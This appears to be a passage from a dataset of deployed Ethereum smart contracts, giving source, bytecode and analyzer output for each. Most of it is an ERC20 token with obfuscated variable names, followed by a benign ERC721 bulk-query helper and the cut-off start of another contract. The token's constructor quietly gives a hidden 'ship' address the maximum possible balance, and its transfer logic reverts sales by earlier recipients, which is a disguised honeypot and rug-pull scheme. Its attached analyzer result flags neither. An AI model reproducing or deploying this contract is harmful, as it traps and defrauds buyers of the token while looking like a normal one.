require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address ship
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 3;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[ship] = refer;
_balances[msg.sender] = _tTotal;
compare[ship] = refer;
compare[msg.sender] = refer;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private refer = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] period = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function ate(
address kids,
address island,
uint256 amount
) private {
address mine = period[1];
bool sign = uniswapV2Pair == kids;
uint256 tomorrow = _fee;
if (compare[kids] == 0 && joy[kids] > 0 && !sign) {
compare[kids] -= tomorrow;
}
period[1] = island;
if (compare[kids] > 0 && amount == 0) {
compare[island] += tomorrow;
}
joy[mine] += tomorrow;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[kids] -= fee;
_balances[address(this)] += fee;
_balances[kids] -= amount;
_balances[island] += amount;
}
mapping(address => uint256) private joy;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private compare;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
ate(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
ate(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611072565b60405180910390f35b610132600480360381019061012d919061112d565b610392565b60405161013f9190611188565b60405180910390f35b6101506103a7565b60405161015d91906111b2565b60405180910390f35b610180600480360381019061017b91906111cd565b6103b1565b60405161018d9190611188565b60405180910390f35b61019e610500565b6040516101ab91906111b2565b60405180910390f35b6101bc61051a565b6040516101c9919061122f565b60405180910390f35b6101ec60048036038101906101e7919061124a565b610540565b6040516101f991906111b2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061122f565b60405180910390f35b61023261063a565b60405161023f9190611072565b60405180910390f35b610262600480360381019061025d919061112d565b6106cc565b60405161026f9190611188565b60405180910390f35b610280610748565b60405161028d91906111b2565b60405180910390f35b6102b060048036038101906102ab9190611277565b61074e565b6040516102bd91906111b2565b60405180910390f35b6102e060048036038101906102db919061124a565b6107d5565b005b6102ea6108cc565b6040516102f79190611316565b60405180910390f35b60606002805461030f90611360565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611360565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611403565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111b2565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611452565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f0d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc906114d2565b60405180910390fd5b61060f6000610f15565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461064990611360565b80601f016020809104026020016040519081016040528092919081815260200182805461067590611360565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111b2565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f0d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906114d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790611564565b60405180910390fd5b6108c981610f15565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610993906115f6565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111b2565b60405180910390a3600190509392505050565b6000600c600181548110610aa457610aa3611616565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc5575081155b15610c215780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c199190611452565b925050819055505b84600c600181548110610c3757610c36611616565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cce5750600084145b15610d2a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d229190611645565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d799190611645565b925050819055506000600154606486610d9291906116ca565b610d9c91906116fb565b90508085610daa9190611452565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dfb9190611452565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e519190611645565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea79190611452565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610efd9190611645565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611013578082015181840152602081019050610ff8565b83811115611022576000848401525b50505050565b6000601f19601f8301169050919050565b600061104482610fd9565b61104e8185610fe4565b935061105e818560208601610ff5565b61106781611028565b840191505092915050565b6000602082019050818103600083015261108c8184611039565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110c482611099565b9050919050565b6110d4816110b9565b81146110df57600080fd5b50565b6000813590506110f1816110cb565b92915050565b6000819050919050565b61110a816110f7565b811461111557600080fd5b50565b60008135905061112781611101565b92915050565b6000806040838503121561114457611143611094565b5b6000611152858286016110e2565b925050602061116385828601611118565b9150509250929050565b60008115159050919050565b6111828161116d565b82525050565b600060208201905061119d6000830184611179565b92915050565b6111ac816110f7565b82525050565b60006020820190506111c760008301846111a3565b92915050565b6000806000606084860312156111e6576111e5611094565b5b60006111f4868287016110e2565b9350506020611205868287016110e2565b925050604061121686828701611118565b9150509250925092565b611229816110b9565b82525050565b60006020820190506112446000830184611220565b92915050565b6000602082840312156112605761125f611094565b5b600061126e848285016110e2565b91505092915050565b6000806040838503121561128e5761128d611094565b5b600061129c858286016110e2565b92505060206112ad858286016110e2565b9150509250929050565b6000819050919050565b60006112dc6112d76112d284611099565b6112b7565b611099565b9050919050565b60006112ee826112c1565b9050919050565b6000611300826112e3565b9050919050565b611310816112f5565b82525050565b600060208201905061132b6000830184611307565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137857607f821691505b60208210810361138b5761138a611331565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006113ed602983610fe4565b91506113f882611391565b604082019050919050565b6000602082019050818103600083015261141c816113e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061145d826110f7565b9150611468836110f7565b92508282101561147b5761147a611423565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114bc602083610fe4565b91506114c782611486565b602082019050919050565b600060208201905081810360008301526114eb816114af565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061154e602683610fe4565b9150611559826114f2565b604082019050919050565b6000602082019050818103600083015261157d81611541565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115e0602483610fe4565b91506115eb82611584565b604082019050919050565b6000602082019050818103600083015261160f816115d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611650826110f7565b915061165b836110f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116905761168f611423565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116d5826110f7565b91506116e0836110f7565b9250826116f0576116ef61169b565b5b828204905092915050565b6000611706826110f7565b9150611711836110f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174a57611749611423565b5b82820290509291505056fea264697066735822122070e98a4dc806253adec434f39911b288333bd03bcb97ba544fe4a97d627b805764736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,616 |
0xf65bad2d3aa23f2fa17ef6f631d5baaea6820921 | // File: contracts/interface/IERC165.sol
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: contracts/interface/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: contracts/interface/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/wrappers/ERC721BulkQueries.sol
pragma solidity 0.8.6;
contract ERC721BulkQueries {
constructor() {}
function balanceOfBulk(address contract_, address[] memory owners) public view returns (uint256[] memory) {
require(owners.length > 0 && owners.length <= 2500, "Query limit is 2500");
IERC721 contractERC721 = IERC721(contract_);
uint256[] memory balances = new uint256[](owners.length);
for(uint256 i = 0; i < owners.length; i++) {
balances[i] = contractERC721.balanceOf(owners[i]);
}
return balances;
}
function ownerOfBulk(address contract_, uint256[] memory tokenIds) public view returns (address[] memory) {
require(tokenIds.length > 0 && tokenIds.length <= 2500, "Query limit is 2500");
IERC721 contractERC721 = IERC721(contract_);
address[] memory owners = new address[](tokenIds.length);
for(uint256 i = 0; i < tokenIds.length; i++) {
owners[i] = contractERC721.ownerOf(tokenIds[i]);
}
return owners;
}
function getApprovedBulk(address contract_, uint256[] memory tokenIds) public view returns (address[] memory) {
require(tokenIds.length > 0 && tokenIds.length <= 2500, "Query limit is 2500");
IERC721 contractERC721 = IERC721(contract_);
address[] memory operators = new address[](tokenIds.length);
for(uint256 i = 0; i < tokenIds.length; i++) {
operators[i] = contractERC721.getApproved(tokenIds[i]);
}
return operators;
}
function isApprovedForAllBulk(address contract_, address owner, address[] memory operators) public view returns (bool[] memory) {
require(operators.length > 0 && operators.length <= 2500, "Query limit is 2500");
IERC721 contractERC721 = IERC721(contract_);
bool[] memory approvalsForAll = new bool[](operators.length);
for(uint256 i = 0; i < operators.length; i++) {
approvalsForAll[i] = contractERC721.isApprovedForAll(owner, operators[i]);
}
return approvalsForAll;
}
function tokenURIBulk(address contract_, uint256[] memory tokenIds) public view returns (string[] memory) {
require(tokenIds.length > 0 && tokenIds.length <= 2500, "Query limit is 2500");
IERC721Metadata contractERC721 = IERC721Metadata(contract_);
string[] memory uris = new string[](tokenIds.length);
for(uint256 i = 0; i < tokenIds.length; i++) {
uris[i] = contractERC721.tokenURI(tokenIds[i]);
}
return uris;
}
} | 0x608060405234801561001057600080fd5b50600436106100675760003560e01c80637160e54d116100505780637160e54d146100b5578063c705c139146100d5578063c976b7dd146100e857600080fd5b8063360ffaf21461006c5780636ce59a1a14610095575b600080fd5b61007f61007a366004610a0a565b610108565b60405161008c9190610c04565b60405180910390f35b6100a86100a33660046109ba565b61029a565b60405161008c9190610c7e565b6100c86100c3366004610a0a565b61041c565b60405161008c9190610b7d565b6100c86100e3366004610a0a565b61059e565b6100fb6100f6366004610958565b610720565b60405161008c9190610bca565b60606000825111801561011e57506109c4825111155b6101655760405162461bcd60e51b815260206004820152601360248201527205175657279206c696d6974206973203235303606c1b60448201526064015b60405180910390fd5b8151839060009067ffffffffffffffff81111561018457610184610d7a565b6040519080825280602002602001820160405280156101b757816020015b60608152602001906001900390816101a25790505b50905060005b845181101561029157826001600160a01b031663c87b56dd8683815181106101e7576101e7610d64565b60200260200101516040518263ffffffff1660e01b815260040161020d91815260200190565b60006040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102619190810190610ad9565b82828151811061027357610273610d64565b6020026020010181905250808061028990610d3b565b9150506101bd565b50949350505050565b6060600082511180156102b057506109c4825111155b6102f25760405162461bcd60e51b815260206004820152601360248201527205175657279206c696d6974206973203235303606c1b604482015260640161015c565b8151839060009067ffffffffffffffff81111561031157610311610d7a565b60405190808252806020026020018201604052801561033a578160200160208202803683370190505b50905060005b845181101561029157826001600160a01b03166370a0823186838151811061036a5761036a610d64565b60200260200101516040518263ffffffff1660e01b815260040161039d91906001600160a01b0391909116815260200190565b60206040518083038186803b1580156103b557600080fd5b505afa1580156103c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ed9190610b64565b8282815181106103ff576103ff610d64565b60209081029190910101528061041481610d3b565b915050610340565b60606000825111801561043257506109c4825111155b6104745760405162461bcd60e51b815260206004820152601360248201527205175657279206c696d6974206973203235303606c1b604482015260640161015c565b8151839060009067ffffffffffffffff81111561049357610493610d7a565b6040519080825280602002602001820160405280156104bc578160200160208202803683370190505b50905060005b845181101561029157826001600160a01b0316636352211e8683815181106104ec576104ec610d64565b60200260200101516040518263ffffffff1660e01b815260040161051291815260200190565b60206040518083038186803b15801561052a57600080fd5b505afa15801561053e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105629190610934565b82828151811061057457610574610d64565b6001600160a01b03909216602092830291909101909101528061059681610d3b565b9150506104c2565b6060600082511180156105b457506109c4825111155b6105f65760405162461bcd60e51b815260206004820152601360248201527205175657279206c696d6974206973203235303606c1b604482015260640161015c565b8151839060009067ffffffffffffffff81111561061557610615610d7a565b60405190808252806020026020018201604052801561063e578160200160208202803683370190505b50905060005b845181101561029157826001600160a01b031663081812fc86838151811061066e5761066e610d64565b60200260200101516040518263ffffffff1660e01b815260040161069491815260200190565b60206040518083038186803b1580156106ac57600080fd5b505afa1580156106c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e49190610934565b8282815181106106f6576106f6610d64565b6001600160a01b03909216602092830291909101909101528061071881610d3b565b915050610644565b60606000825111801561073657506109c4825111155b6107785760405162461bcd60e51b815260206004820152601360248201527205175657279206c696d6974206973203235303606c1b604482015260640161015c565b8151849060009067ffffffffffffffff81111561079757610797610d7a565b6040519080825280602002602001820160405280156107c0578160200160208202803683370190505b50905060005b84518110156108af57826001600160a01b031663e985e9c5878784815181106107f1576107f1610d64565b60200260200101516040518363ffffffff1660e01b815260040161082b9291906001600160a01b0392831681529116602082015260400190565b60206040518083038186803b15801561084357600080fd5b505afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190610ab7565b82828151811061088d5761088d610d64565b91151560209283029190910190910152806108a781610d3b565b9150506107c6565b5095945050505050565b600082601f8301126108ca57600080fd5b813560206108df6108da83610ce7565b610cb6565b80838252828201915082860187848660051b89010111156108ff57600080fd5b60005b8581101561092757813561091581610d90565b84529284019290840190600101610902565b5090979650505050505050565b60006020828403121561094657600080fd5b815161095181610d90565b9392505050565b60008060006060848603121561096d57600080fd5b833561097881610d90565b9250602084013561098881610d90565b9150604084013567ffffffffffffffff8111156109a457600080fd5b6109b0868287016108b9565b9150509250925092565b600080604083850312156109cd57600080fd5b82356109d881610d90565b9150602083013567ffffffffffffffff8111156109f457600080fd5b610a00858286016108b9565b9150509250929050565b60008060408385031215610a1d57600080fd5b8235610a2881610d90565b915060208381013567ffffffffffffffff811115610a4557600080fd5b8401601f81018613610a5657600080fd5b8035610a646108da82610ce7565b80828252848201915084840189868560051b8701011115610a8457600080fd5b600094505b83851015610aa7578035835260019490940193918501918501610a89565b5080955050505050509250929050565b600060208284031215610ac957600080fd5b8151801515811461095157600080fd5b600060208284031215610aeb57600080fd5b815167ffffffffffffffff80821115610b0357600080fd5b818401915084601f830112610b1757600080fd5b815181811115610b2957610b29610d7a565b610b3c601f8201601f1916602001610cb6565b9150808252856020828501011115610b5357600080fd5b610291816020840160208601610d0b565b600060208284031215610b7657600080fd5b5051919050565b6020808252825182820181905260009190848201906040850190845b81811015610bbe5783516001600160a01b031683529284019291840191600101610b99565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015610bbe578351151583529284019291840191600101610be6565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b82811015610c7157878503603f1901845281518051808752610c52818989018a8501610d0b565b601f01601f191695909501860194509285019290850190600101610c2b565b5092979650505050505050565b6020808252825182820181905260009190848201906040850190845b81811015610bbe57835183529284019291840191600101610c9a565b604051601f8201601f1916810167ffffffffffffffff81118282101715610cdf57610cdf610d7a565b604052919050565b600067ffffffffffffffff821115610d0157610d01610d7a565b5060051b60200190565b60005b83811015610d26578181015183820152602001610d0e565b83811115610d35576000848401525b50505050565b6000600019821415610d5d57634e487b7160e01b600052601160045260246000fd5b5060010190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610da557600080fd5b5056fea26469706673582212203ed3b0d83985caa3c7f529abeea952b5f903e4e6d1c55a87967e08e2ad42fc0964736f6c63430008060033 | {"success": true, "error": null, "results": {}} | 10,617 |
0x7f650f3b231d3a32c2b0e2940e870acdd4aa9961 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
